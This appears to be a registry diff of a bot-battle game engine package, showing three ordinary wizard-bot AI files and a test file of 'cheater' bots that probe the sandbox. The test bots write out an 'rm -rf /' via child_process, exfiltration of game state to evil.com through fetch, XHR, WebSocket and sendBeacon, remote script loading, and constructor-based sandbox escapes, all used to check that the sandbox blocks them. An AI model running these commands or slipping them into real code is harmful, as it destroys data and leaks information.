@vibemancer/core 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (78) hide show
  1. package/README.md +28 -0
  2. package/dist/chunk-L7Z7OFXD.js +9140 -0
  3. package/dist/chunk-L7Z7OFXD.js.map +1 -0
  4. package/dist/index-browser.d.ts +2602 -0
  5. package/dist/index-browser.js +407 -0
  6. package/dist/index-browser.js.map +1 -0
  7. package/dist/index.d.ts +150 -0
  8. package/dist/index.js +750 -0
  9. package/dist/index.js.map +1 -0
  10. package/package.json +79 -0
  11. package/src/bots/berserker/01_Stormchaser.ts +457 -0
  12. package/src/bots/berserker/02_Stormcaller.ts +417 -0
  13. package/src/bots/berserker/03_Stormforger.ts +481 -0
  14. package/src/bots/caster/01_Flamecaller.ts +286 -0
  15. package/src/bots/caster/02_Pyromancer.ts +350 -0
  16. package/src/bots/caster/03_Infernalist.ts +492 -0
  17. package/src/bots/defensive/01_Turtle.ts +151 -0
  18. package/src/bots/defensive/02_Sentinel.ts +134 -0
  19. package/src/bots/defensive/03_Golem.ts +357 -0
  20. package/src/bots/duelist/01_Battlemage.ts +433 -0
  21. package/src/bots/duelist/02_Warmage.ts +438 -0
  22. package/src/bots/duelist/03_Archmage.ts +588 -0
  23. package/src/bots/homing/01_Bonemancer.ts +67 -0
  24. package/src/bots/homing/02_Lich.ts +356 -0
  25. package/src/bots/homing/03_Archlich.ts +220 -0
  26. package/src/bots/index.ts +30 -0
  27. package/src/bots/kiter/01_Spellspinner.ts +398 -0
  28. package/src/bots/kiter/02_Spellweaver.ts +378 -0
  29. package/src/bots/kiter/03_Spellbinder.ts +448 -0
  30. package/src/bots/melee/01_Shadowblade.ts +270 -0
  31. package/src/bots/melee/02_Nightblade.ts +437 -0
  32. package/src/bots/melee/03_Voidblade.ts +582 -0
  33. package/src/bots/registry.ts +207 -0
  34. package/src/bots/shared.ts +472 -0
  35. package/src/bots/sniper/01_Spellshot.ts +385 -0
  36. package/src/bots/sniper/02_Spelltracer.ts +441 -0
  37. package/src/bots/sniper/03_Spellseeker.ts +546 -0
  38. package/src/bots/standalone/Critter.ts +89 -0
  39. package/src/bots/standalone/Doombringer.ts +91 -0
  40. package/src/bots/standalone/Hogger.ts +228 -0
  41. package/src/bots/standalone/Rookie.ts +50 -0
  42. package/src/bots/standalone/TargetDummy.ts +21 -0
  43. package/src/bots/test/cheater.ts +405 -0
  44. package/src/bots/test/crasher.ts +81 -0
  45. package/src/engine/hooks-runtime.ts +394 -0
  46. package/src/engine/manual-match.ts +289 -0
  47. package/src/engine/missile-templates.ts +155 -0
  48. package/src/engine/optimizer.ts +220 -0
  49. package/src/engine/params-runtime.ts +189 -0
  50. package/src/engine/physics.ts +143 -0
  51. package/src/engine/sandbox-browser.ts +671 -0
  52. package/src/engine/sandbox-compile.ts +197 -0
  53. package/src/engine/sandbox-harness.ts +367 -0
  54. package/src/engine/sandbox.ts +332 -0
  55. package/src/engine/simulation.ts +828 -0
  56. package/src/engine/spells.ts +128 -0
  57. package/src/engine-version.ts +11 -0
  58. package/src/hooks/action-builders.ts +210 -0
  59. package/src/hooks/bot-wrapper.ts +84 -0
  60. package/src/hooks/index.ts +75 -0
  61. package/src/hooks/state-hooks.ts +354 -0
  62. package/src/hooks/threat-analysis.ts +365 -0
  63. package/src/hooks/types.ts +142 -0
  64. package/src/index-browser.ts +30 -0
  65. package/src/index.ts +24 -0
  66. package/src/rules.ts +254 -0
  67. package/src/stats.ts +262 -0
  68. package/src/testing.ts +207 -0
  69. package/src/trace.ts +430 -0
  70. package/src/types.ts +193 -0
  71. package/src/utils/angles.ts +47 -0
  72. package/src/utils/combat.ts +279 -0
  73. package/src/utils/distance.ts +21 -0
  74. package/src/utils/index.ts +7 -0
  75. package/src/utils/movement.ts +108 -0
  76. package/src/utils/random.ts +65 -0
  77. package/src/utils/spatial.ts +63 -0
  78. package/src/utils/targeting.ts +45 -0
@@ -0,0 +1,228 @@
1
+ import {WizardFunction, MissileAIFunction} from '../../types.js';
2
+ import {angleTo} from '../../utils/angles.js';
3
+ import {distanceTo} from '../../utils/distance.js';
4
+ import {ARENA_SIZE} from '../../rules.js';
5
+ import {
6
+ getThreats,
7
+ getMostUrgentThreat,
8
+ getDodgeDirectionForMovement,
9
+ getBlinkToCenter,
10
+ } from '../shared.js';
11
+ const WALL_BUFFER = 60;
12
+ const WALL_PUSH = 30; // How hard to push away from walls
13
+
14
+ /**
15
+ * Homing AI that sometimes forgets what it's doing.
16
+ */
17
+ const ChaoticHoming: MissileAIFunction = ({worldState, random}) =>
18
+ {
19
+ const enemy = worldState.enemies[0];
20
+ // 80% chance to actually track, 20% chance to just fly straight
21
+ if (random() < 0.8)
22
+ {
23
+ return {turnToward: enemy?.position};
24
+ }
25
+ return {};
26
+ };
27
+
28
+ /**
29
+ * Bot: Hogger
30
+ *
31
+ * BEHAVIOR: The elite critter. Chaotic and unpredictable but genuinely dangerous.
32
+ * Randomly varies missile configs each cast (damage 7-15, speed 3-8, random homing),
33
+ * moves erratically but still somewhat toward/away from the enemy, shields when
34
+ * in real danger, and blinks unpredictably. The randomness makes Hogger hard to
35
+ * predict — you never know if the next missile will be a slow tracker or a fast
36
+ * snipe. Unlike Critter's pure randomness, Hogger has enough combat awareness
37
+ * to actually win fights.
38
+ *
39
+ * NAMING RATIONALE: In WoW, Hogger is the iconic level 11 elite gnoll in Elwynn
40
+ * Forest who infamously kills unprepared lowbies. He's technically a basic mob
41
+ * but hits way harder than expected. This bot is the Critter that learned to
42
+ * fight — still chaotic, still a bit dumb, but capable of ending you if you
43
+ * underestimate it. "Hogger" is one of WoW's most recognizable references and
44
+ * perfectly captures "deceptively dangerous chaos."
45
+ *
46
+ * STANDALONE — no tier progression. There's only one Hogger.
47
+ */
48
+ export const Hogger: WizardFunction = ({state, random}) =>
49
+ {
50
+ const enemy = state.enemies[0];
51
+ if (!enemy)
52
+ {
53
+ return {move: {x: 0, y: 0}};
54
+ }
55
+
56
+ const distance = distanceTo(state.position, enemy.position);
57
+ const threats = getThreats(state);
58
+ const urgentThreat = getMostUrgentThreat(threats);
59
+
60
+ // Erratic movement: mostly toward/away from enemy with random strafe
61
+ const deltaX = enemy.position.x - state.position.x;
62
+ const deltaY = enemy.position.y - state.position.y;
63
+ const normalizedDistance = distance > 0 ? distance : 1;
64
+
65
+ // Dodge if there's a real threat
66
+ const dodgeDirection = getDodgeDirectionForMovement(threats, state.position);
67
+
68
+ let moveX: number;
69
+ let moveY: number;
70
+
71
+ if (dodgeDirection)
72
+ {
73
+ // Actually dodge (Hogger isn't stupid)
74
+ moveX = dodgeDirection.x * 100;
75
+ moveY = dodgeDirection.y * 100;
76
+ }
77
+ else
78
+ {
79
+ // Random strafe component
80
+ const perpX = -deltaY / normalizedDistance;
81
+ const perpY = deltaX / normalizedDistance;
82
+ const strafeIntensity = random() * 80 - 40; // -40 to 40
83
+
84
+ // Approach/retreat: prefer medium range (250-400), but sometimes just wander
85
+ let approachIntensity = 0;
86
+ if (distance > 400)
87
+ {
88
+ approachIntensity = 40 + random() * 30; // approach
89
+ }
90
+ else if (distance < 200)
91
+ {
92
+ approachIntensity = -(30 + random() * 30); // retreat
93
+ }
94
+ else
95
+ {
96
+ approachIntensity = random() * 60 - 30; // random walk
97
+ }
98
+
99
+ moveX =
100
+ perpX * strafeIntensity +
101
+ (deltaX / normalizedDistance) * approachIntensity;
102
+ moveY =
103
+ perpY * strafeIntensity +
104
+ (deltaY / normalizedDistance) * approachIntensity;
105
+
106
+ // Wall avoidance (Hogger doesn't like corners)
107
+ if (state.position.x < WALL_BUFFER) moveX += WALL_PUSH;
108
+ if (state.position.x > ARENA_SIZE - WALL_BUFFER) moveX -= WALL_PUSH;
109
+ if (state.position.y < WALL_BUFFER) moveY += WALL_PUSH;
110
+ if (state.position.y > ARENA_SIZE - WALL_BUFFER) moveY -= WALL_PUSH;
111
+ }
112
+
113
+ const magnitude = Math.sqrt(moveX * moveX + moveY * moveY);
114
+ if (magnitude > 100)
115
+ {
116
+ moveX = (moveX / magnitude) * 100;
117
+ moveY = (moveY / magnitude) * 100;
118
+ }
119
+
120
+ const move = {x: moveX, y: moveY};
121
+
122
+ // === DEFENSE: Shield if in real danger ===
123
+ if (state.state === 'channeling')
124
+ {
125
+ if (!urgentThreat || urgentThreat.ticksToImpact > 120)
126
+ {
127
+ return {move, cancel: true};
128
+ }
129
+ return {move: {x: 0, y: 0}};
130
+ }
131
+
132
+ if (
133
+ state.state === 'idle' &&
134
+ urgentThreat &&
135
+ !urgentThreat.bestDodgeDirection
136
+ )
137
+ {
138
+ if (urgentThreat.canBlockInTime && urgentThreat.ticksToStartShield <= 3)
139
+ {
140
+ return {
141
+ move: {x: 0, y: 0},
142
+ startCast: {spell: 'shield'},
143
+ };
144
+ }
145
+ else if (!urgentThreat.canBlockInTime && state.blinkCooldown === 0)
146
+ {
147
+ return {
148
+ move: {x: 0, y: 0},
149
+ startCast: {spell: 'blink', target: getBlinkToCenter(state.position)},
150
+ };
151
+ }
152
+ }
153
+
154
+ // === OFFENSE: Random blink (sometimes offensive, sometimes random) ===
155
+ if (state.state === 'idle' && state.blinkCooldown === 0 && random() < 0.03)
156
+ {
157
+ // 60% chance blink toward enemy, 40% chance random blink
158
+ if (random() < 0.6 && distance > 300)
159
+ {
160
+ return {
161
+ move: {x: 0, y: 0},
162
+ startCast: {spell: 'blink', target: enemy.position},
163
+ };
164
+ }
165
+ else
166
+ {
167
+ return {
168
+ move: {x: 0, y: 0},
169
+ startCast: {
170
+ spell: 'blink',
171
+ target: {
172
+ x: 100 + random() * 600,
173
+ y: 100 + random() * 600,
174
+ },
175
+ },
176
+ };
177
+ }
178
+ }
179
+
180
+ // === OFFENSE: Chaotic missiles ===
181
+ if (state.state === 'idle' && distance < 500)
182
+ {
183
+ // Random missile config each time
184
+ const roll = random();
185
+ let damage: number;
186
+ let speed: number;
187
+ let turnRate: number;
188
+ let duration: number;
189
+
190
+ if (roll < 0.3)
191
+ {
192
+ // Fast snipe
193
+ damage = 8 + Math.floor(random() * 5); // 8-12
194
+ speed = 6 + random() * 2; // 6-8
195
+ turnRate = 0;
196
+ duration = 80 + Math.floor(random() * 40); // 80-120
197
+ }
198
+ else if (roll < 0.7)
199
+ {
200
+ // Homing tracker
201
+ damage = 7 + Math.floor(random() * 5); // 7-11
202
+ speed = 3 + random() * 2; // 3-5
203
+ turnRate = 1 + random() * 2; // 1-3
204
+ duration = 150 + Math.floor(random() * 100); // 150-250
205
+ }
206
+ else
207
+ {
208
+ // Big slow bomb
209
+ damage = 12 + Math.floor(random() * 4); // 12-15
210
+ speed = 2 + random() * 2; // 2-4
211
+ turnRate = 0.5 + random() * 1.5; // 0.5-2
212
+ duration = 200 + Math.floor(random() * 100); // 200-300
213
+ }
214
+
215
+ return {
216
+ move,
217
+ startCast: {
218
+ spell: 'missile',
219
+ config: {damage, speed, turnRate, duration},
220
+ missileAI: ChaoticHoming,
221
+ direction:
222
+ angleTo(state.position, enemy.position) + (random() * 20 - 10), // ±10° aim wobble
223
+ },
224
+ };
225
+ }
226
+
227
+ return {move};
228
+ };
@@ -0,0 +1,50 @@
1
+ import {WizardFunction} from '../../types.js';
2
+ import {angleTo} from '../../utils/angles.js';
3
+
4
+ /**
5
+ * Bot: Rookie
6
+ *
7
+ * BEHAVIOR: Stands perfectly still and fires straight (non-homing) missiles at
8
+ * the enemy. No movement, no dodging, no shielding. Knows one spell and uses
9
+ * it on cooldown. The wizard equivalent of an FPS player who stands in the open
10
+ * and holds left-click.
11
+ *
12
+ * NAMING RATIONALE: "Rookie" is the universal term for a first-timer who barely
13
+ * knows what they're doing. This bot is a day-one player who learned how to cast
14
+ * missile and nothing else. No movement, no defense, just raw "I press the button."
15
+ * We considered "Noob" (more accurate) but Rookie is less abrasive while conveying
16
+ * the same thing — a beginner who doesn't know any better.
17
+ *
18
+ * STANDALONE — no tier progression. Rookies either learn to play a real class
19
+ * or quit. This bot represents the rock-bottom of "at least it shoots."
20
+ */
21
+ export const Rookie: WizardFunction = ({state}) =>
22
+ {
23
+ const enemy = state.enemies[0];
24
+ if (!enemy)
25
+ {
26
+ return {move: {x: 0, y: 0}};
27
+ }
28
+
29
+ if (state.state === 'idle')
30
+ {
31
+ return {
32
+ move: {x: 0, y: 0},
33
+ startCast: {
34
+ spell: 'missile',
35
+ config: {
36
+ damage: 10,
37
+ speed: 5,
38
+ turnRate: 0,
39
+ duration: 200,
40
+ },
41
+ missileAI: () => ({}),
42
+ direction: angleTo(state.position, enemy.position),
43
+ },
44
+ };
45
+ }
46
+
47
+ return {
48
+ move: {x: 0, y: 0},
49
+ };
50
+ };
@@ -0,0 +1,21 @@
1
+ import {WizardFunction} from '../../types.js';
2
+
3
+ /**
4
+ * Bot: TargetDummy
5
+ *
6
+ * BEHAVIOR: Does absolutely nothing. No movement, no spells, no AI.
7
+ *
8
+ * NAMING RATIONALE: "Target Dummy" is universal MMO player vocabulary for the
9
+ * practice objects found in capital cities. Every WoW/FFXIV player has beaten
10
+ * on a target dummy to test DPS rotations. That's exactly what this bot is —
11
+ * a punching bag for testing missile mechanics and baseline damage output.
12
+ * Nobody calls them "training dummies"; the player term is always "target dummy."
13
+ *
14
+ * STANDALONE — no tier progression. It's a test fixture, not a combatant.
15
+ */
16
+ export const TargetDummy: WizardFunction = () =>
17
+ {
18
+ return {
19
+ move: {x: 0, y: 0},
20
+ };
21
+ };
@@ -0,0 +1,405 @@
1
+ /* eslint-disable @typescript-eslint/no-unsafe-type-assertion, @typescript-eslint/no-explicit-any, @typescript-eslint/explicit-function-return-type, @typescript-eslint/no-unused-expressions */
2
+ /**
3
+ * CHEATER TEST BOTS
4
+ *
5
+ * These bots attempt various exploit techniques to test sandbox safety.
6
+ * They are NOT registered in ALL_BOTS — test-only.
7
+ *
8
+ * Each variant targets a different attack vector:
9
+ * - CheaterPrototypePollution: modifies built-in prototypes
10
+ * - CheaterStateCorruption: tries to mutate the game state
11
+ * - CheaterNodeAccess: tries to access Node.js APIs
12
+ * - CheaterSandboxEscape: tries to break out of the sandbox
13
+ * - CheaterNetworkIO: tries fetch, XMLHttpRequest, WebSocket, EventSource
14
+ * - CheaterScriptInjection: tries importScripts, Worker, SharedWorker, dynamic import
15
+ * - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
16
+ */
17
+
18
+ import type {WizardFunction} from '../../types.js';
19
+
20
+ /**
21
+ * Attempts to modify built-in prototypes to sabotage the other bot.
22
+ * With prototype freezing enabled, these assignments should silently fail
23
+ * (or throw in strict mode), and the match should proceed normally.
24
+ */
25
+ export const CheaterPrototypePollution: WizardFunction = () =>
26
+ {
27
+ try
28
+ {
29
+ // Try to sabotage Array methods used by the other bot
30
+ (Array.prototype as any).map = () => [];
31
+ (Array.prototype as any).filter = () => [];
32
+ (Array.prototype as any).find = () => undefined;
33
+
34
+ // Try to sabotage Object
35
+ (Object.prototype as any).position = {x: 0, y: 0};
36
+ (Object.prototype as any).health = 0;
37
+
38
+ // Try to sabotage Math functions used by combat calculations
39
+ (Math as any).sqrt = () => 0;
40
+ (Math as any).atan2 = () => 0;
41
+ }
42
+ catch
43
+ {
44
+ // Frozen prototypes will throw in strict mode — that's expected
45
+ }
46
+
47
+ return {move: {x: 0, y: 0}};
48
+ };
49
+
50
+ /**
51
+ * Attempts to mutate the game state object passed to it, hoping to corrupt
52
+ * the simulation. With proper state views (copies), mutations should have
53
+ * no effect on the actual simulation state.
54
+ */
55
+ export const CheaterStateCorruption: WizardFunction = ({state}) =>
56
+ {
57
+ try
58
+ {
59
+ // Try to give ourselves infinite health
60
+ (state as any).health = 999999;
61
+ (state as any).maxHealth = 999999;
62
+
63
+ // Try to kill enemies by modifying their state
64
+ for (const enemy of state.enemies)
65
+ {
66
+ (enemy as any).health = 0;
67
+ (enemy as any).position = {x: -9999, y: -9999};
68
+ }
69
+
70
+ // Try to delete all enemy projectiles
71
+ for (const proj of state.projectiles)
72
+ {
73
+ (proj as any).damage = 0;
74
+ (proj as any).remainingTicks = 0;
75
+ }
76
+
77
+ // Try to modify the position directly
78
+ state.position.x = 400;
79
+ state.position.y = 400;
80
+ }
81
+ catch
82
+ {
83
+ // Expected if state is frozen
84
+ }
85
+
86
+ return {move: {x: 0, y: 0}};
87
+ };
88
+
89
+ /**
90
+ * Attempts to access Node.js APIs that should not be available in the sandbox.
91
+ * With esbuild platform: 'neutral', these should all be undefined or throw.
92
+ */
93
+ export const CheaterNodeAccess: WizardFunction = () =>
94
+ {
95
+ try
96
+ {
97
+ // Try to access filesystem
98
+ const fs = (globalThis as any).require?.('fs');
99
+ fs?.writeFileSync?.('/tmp/hacked', 'pwned');
100
+ }
101
+ catch
102
+ {
103
+ /* expected */
104
+ }
105
+
106
+ try
107
+ {
108
+ // Try to access process
109
+ const proc = (globalThis as any).process;
110
+ proc?.exit?.(1);
111
+ }
112
+ catch
113
+ {
114
+ /* expected */
115
+ }
116
+
117
+ try
118
+ {
119
+ // Try to spawn child process
120
+ const cp = (globalThis as any).require?.('child_process');
121
+ cp?.execSync?.('rm -rf /');
122
+ }
123
+ catch
124
+ {
125
+ /* expected */
126
+ }
127
+
128
+ try
129
+ {
130
+ // Try to access network
131
+ const net = (globalThis as any).require?.('net');
132
+ net?.createConnection?.({host: 'evil.com', port: 80});
133
+ }
134
+ catch
135
+ {
136
+ /* expected */
137
+ }
138
+
139
+ return {move: {x: 0, y: 0}};
140
+ };
141
+
142
+ /**
143
+ * Attempts to escape the sandbox using known V8/JavaScript escape techniques.
144
+ * These should all fail within isolated-vm.
145
+ */
146
+ export const CheaterSandboxEscape: WizardFunction = () =>
147
+ {
148
+ try
149
+ {
150
+ // Classic sandbox escape: constructor.constructor to get Function constructor
151
+ const fn = {}.constructor.constructor('return this')();
152
+ // If this works, fn would be the global object outside the sandbox
153
+ (fn as any)?.process?.exit?.(1);
154
+ }
155
+ catch
156
+ {
157
+ /* expected */
158
+ }
159
+
160
+ try
161
+ {
162
+ // Try to access the global scope via Function
163
+ const global = Function('return this')();
164
+ (global as any)?.process?.exit?.(1);
165
+ }
166
+ catch
167
+ {
168
+ /* expected */
169
+ }
170
+
171
+ try
172
+ {
173
+ // Try eval-based escape
174
+ const result = eval('globalThis.process');
175
+ (result as any)?.exit?.(1);
176
+ }
177
+ catch
178
+ {
179
+ /* expected */
180
+ }
181
+
182
+ try
183
+ {
184
+ // Try to access import.meta (might leak host info)
185
+ const meta = import.meta as any;
186
+ meta?.url; // Should just be undefined or sandboxed
187
+ }
188
+ catch
189
+ {
190
+ /* expected */
191
+ }
192
+
193
+ return {move: {x: 0, y: 0}};
194
+ };
195
+
196
+ // ============================================================================
197
+ // IO / NETWORK CHEATER BOTS
198
+ // ============================================================================
199
+
200
+ /**
201
+ * Attempts to make network requests using every browser IO API.
202
+ * All of these should be blocked by the IO sandbox banner.
203
+ * If any succeeds, it would be a security vulnerability — bot code could
204
+ * exfiltrate game state, load external code, or communicate with C2 servers.
205
+ */
206
+ export const CheaterNetworkIO: WizardFunction = ({state}) =>
207
+ {
208
+ const g = globalThis as any;
209
+
210
+ // --- fetch ---
211
+ try
212
+ {
213
+ const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
214
+ // If fetch exists and returns a promise, that's a breach
215
+ if (result && typeof result.then === 'function')
216
+ {
217
+ // Should never reach here
218
+ }
219
+ }
220
+ catch
221
+ {
222
+ /* expected */
223
+ }
224
+
225
+ // --- XMLHttpRequest ---
226
+ try
227
+ {
228
+ const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
229
+ xhr?.open?.('POST', 'https://evil.com/exfil');
230
+ xhr?.send?.(
231
+ JSON.stringify({health: state.health, position: state.position}),
232
+ );
233
+ }
234
+ catch
235
+ {
236
+ /* expected */
237
+ }
238
+
239
+ // --- WebSocket ---
240
+ try
241
+ {
242
+ const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
243
+ ws?.send?.('connected');
244
+ }
245
+ catch
246
+ {
247
+ /* expected */
248
+ }
249
+
250
+ // --- EventSource (Server-Sent Events) ---
251
+ try
252
+ {
253
+ const es = g.EventSource
254
+ ? new g.EventSource('https://evil.com/commands')
255
+ : null;
256
+ es?.close?.();
257
+ }
258
+ catch
259
+ {
260
+ /* expected */
261
+ }
262
+
263
+ // --- navigator.sendBeacon ---
264
+ try
265
+ {
266
+ g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
267
+ }
268
+ catch
269
+ {
270
+ /* expected */
271
+ }
272
+
273
+ return {move: {x: 0, y: 0}};
274
+ };
275
+
276
+ /**
277
+ * Attempts to inject external scripts or create sub-workers to bypass sandbox.
278
+ * importScripts can load and execute arbitrary JS from any URL.
279
+ * Worker/SharedWorker can spawn new contexts without IO restrictions.
280
+ */
281
+ export const CheaterScriptInjection: WizardFunction = () =>
282
+ {
283
+ const g = globalThis as any;
284
+
285
+ // --- importScripts (Web Worker API: loads & executes external JS) ---
286
+ try
287
+ {
288
+ g.importScripts?.('https://cdn.evil.com/payload.js');
289
+ }
290
+ catch
291
+ {
292
+ /* expected */
293
+ }
294
+
295
+ // --- Worker (create sub-worker to bypass restrictions) ---
296
+ try
297
+ {
298
+ const w = g.Worker
299
+ ? new g.Worker('data:text/javascript,fetch("https://evil.com")')
300
+ : null;
301
+ w?.terminate?.();
302
+ }
303
+ catch
304
+ {
305
+ /* expected */
306
+ }
307
+
308
+ // --- SharedWorker ---
309
+ try
310
+ {
311
+ const sw = g.SharedWorker
312
+ ? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
313
+ : null;
314
+ sw?.port?.close?.();
315
+ }
316
+ catch
317
+ {
318
+ /* expected */
319
+ }
320
+
321
+ // --- Reconstruct fetch via Request/Response ---
322
+ try
323
+ {
324
+ const req = g.Request ? new g.Request('https://evil.com/data') : null;
325
+ if (req)
326
+ {
327
+ // Without fetch, a Request object alone can't send anything,
328
+ // but verify the constructor is also blocked
329
+ }
330
+ }
331
+ catch
332
+ {
333
+ /* expected */
334
+ }
335
+
336
+ return {move: {x: 0, y: 0}};
337
+ };
338
+
339
+ /**
340
+ * Attempts to use storage and cross-context communication APIs.
341
+ * These could be used to persist data between matches, leak info across
342
+ * tabs, or coordinate with external code.
343
+ */
344
+ export const CheaterStorageAndComms: WizardFunction = () =>
345
+ {
346
+ const g = globalThis as any;
347
+
348
+ // --- BroadcastChannel (cross-tab/worker communication) ---
349
+ try
350
+ {
351
+ const bc = g.BroadcastChannel
352
+ ? new g.BroadcastChannel('exfil-channel')
353
+ : null;
354
+ bc?.postMessage?.('secret data');
355
+ bc?.close?.();
356
+ }
357
+ catch
358
+ {
359
+ /* expected */
360
+ }
361
+
362
+ // --- indexedDB (persistent storage) ---
363
+ try
364
+ {
365
+ const db = g.indexedDB?.open?.('exfil-db', 1);
366
+ if (db)
367
+ {
368
+ // If indexedDB is available, bot could store/retrieve data across matches
369
+ }
370
+ }
371
+ catch
372
+ {
373
+ /* expected */
374
+ }
375
+
376
+ // --- Cache API ---
377
+ try
378
+ {
379
+ const cache = g.caches?.open?.('exfil-cache');
380
+ if (cache && typeof cache.then === 'function')
381
+ {
382
+ // Could cache external resources for later use
383
+ }
384
+ }
385
+ catch
386
+ {
387
+ /* expected */
388
+ }
389
+
390
+ // --- navigator (various APIs) ---
391
+ try
392
+ {
393
+ // navigator.clipboard, navigator.geolocation, etc.
394
+ const nav = g.navigator;
395
+ nav?.clipboard?.writeText?.('stolen data');
396
+ nav?.geolocation?.getCurrentPosition?.(() =>
397
+ {});
398
+ }
399
+ catch
400
+ {
401
+ /* expected */
402
+ }
403
+
404
+ return {move: {x: 0, y: 0}};
405
+ };